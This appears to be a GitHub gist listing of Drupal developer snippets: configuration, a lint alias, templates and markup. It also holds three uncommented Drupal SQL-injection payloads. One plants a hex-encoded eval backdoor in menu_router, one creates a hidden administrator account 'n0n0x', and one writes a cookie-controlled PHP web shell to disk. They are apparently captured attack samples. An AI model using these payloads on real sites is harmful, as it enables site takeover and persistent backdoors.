This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if ($is_ah_env) { | |
switch ($ah_env) { | |
case 'prod': | |
// Acquia Lift Settings | |
$config['acquia_lift.settings']['credential']['account_name'] = ''; // Customer Account ID | |
$config['acquia_lift.settings']['credential']['customer_site'] = ''; // Customer Site External ID | |
$config['acquia_lift.settings']['credential']['site_id'] = ''; // Customer Site External ID | |
$config['acquia_lift.settings']['credential']['content_origin'] = ''; // Content Hub Origin ID (UUID) | |
$config['acquia_lift.settings']['advanced']['content_replacement_mode'] = 'trusted'; // |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
alias code-check="find -E . -type f -regex '^.*\.(engine|inc|install|engine|module|php|profile|test|theme|txt|info|rule|view)' | xargs -Ifile bash -c \"php -l file ; (true)\" | grep -v 'No syntax' | |
find . -type f | xargs -Ifile grep -H '>>>>>>' file| grep -v Binary | grep -v .git/rr-cache" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div{{ attributes }}> | |
{% if not label_hidden %} | |
<div{{ title_attributes.addClass('field-label') }}>{{ label }}</div> | |
{% endif %} | |
<div{{ content_attributes.addClass('field-items') }}> | |
{% for item in items %} | |
<div{{ item.attributes.addClass('field-item') }}><a href="https://twitter.com/{{ item.content['#markup']|trim('@') }}">{{ item.content }}</a></div> | |
{% endfor %} | |
</div> | |
</div> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
TRUNCATE TABLE cache_bootstrap;UPDATE menu_router SET access_arguments=0x613a313a7b733a343a22636f6465223b733a36313a223c3f70687020406576616c28406261736536345f6465636f64652840245f524551554553545b383664393963613830633430393736615d29293b203f3e223b7d, access_callback=0x7068705f6576616c WHERE path=0x75736572;UPDATE system SET status = 1 WHERE name = 0x706870;INSERT INTO registry_file (filename,hash) VALUES (0x6d6f64756c65732f7068702f7068702e6d6f64756c65,0x30373132336531663438323335366334313566363834343037613362383732336531306232636262633062386663643632383263343964333763396331616263);# |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set @a=(SELECT MAX(uid) FROM users)+1;INSERT INTO users set uid=@a,status=1,name='n0n0x' , pass = '$S$CTo9G7Lx2jmHrpHDdKDR0R8X/q4H9PXo02REYap3z2t8UE3F0DfC';INSERT INTO users_roles set uid=@a,rid=3;;# |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[0] => 0; INSERT INTO `menu_router` (`path`, `load_functions`, `to_arg_functions`, `description`, `access_callback`, `access_arguments`) VALUES ('jihkzk', '', '', 'jihkzk', 'file_put_contents', 0x613a323a7b693a303b733a32313a226d6f64756c65732f6d656e752f687a6c702e706870223b693a313b733a3134373a223c3f7068702024666f726d313d40245f434f4f4b49455b224b63716633225d3b206966202824666f726d31297b20246f70743d24666f726d312840245f434f4f4b49455b224b63716632225d293b202461753d24666f726d312840245f434f4f4b49455b224b63716631225d293b20246f707428222f3239322f65222c2461752c323932293b207d20706870696e666f28293b223b7d);;# |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @file | |
* Local development override configuration feature. | |
* | |
* To activate this feature, copy and rename it such that its path plus | |
* filename is 'sites/yoursite.com/settings.local.php'. Then, go to the bottom | |
* of 'sites/yoursite.com/settings.php' and uncomment the commented lines that | |
* mention 'settings.local.php'. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## RDFa markup | |
<ol vocab="http://schema.org/" typeof="ItemList"> | |
<li property="itemListElement" typeof="ListItem"> | |
<a property="item" typeof="WebPage" href="http://www.example.com/dresses"> | |
<span property="title">Dresses</span> | |
</a> | |
<meta property="position" content="1"> | |
</li> | |
› <li property="itemListElement" typeof="ListItem"> | |
<a property="item" typeof="WebPage" href="http://www.example.com/dresses/real"> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Example MySQL config file for large systems. | |
# | |
# This is for a large system with memory = 512M where the system runs mainly | |
# MySQL. | |
# | |
# MySQL programs look for option files in a set of | |
# locations which depend on the deployment platform. | |
# You can copy this option file to one of those | |
# locations. For information about these locations, see: | |
# http://dev.mysql.com/doc/mysql/en/option-files.html |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Lists bundles that have a field of type image or file for D7.29 regression | |
* https://www.drupal.org/node/2305017 | |
* | |
* Download this script on your server/localhost and run | |
* drush php-script 2305017_file_lost.php | |
*/ |
NewerOlder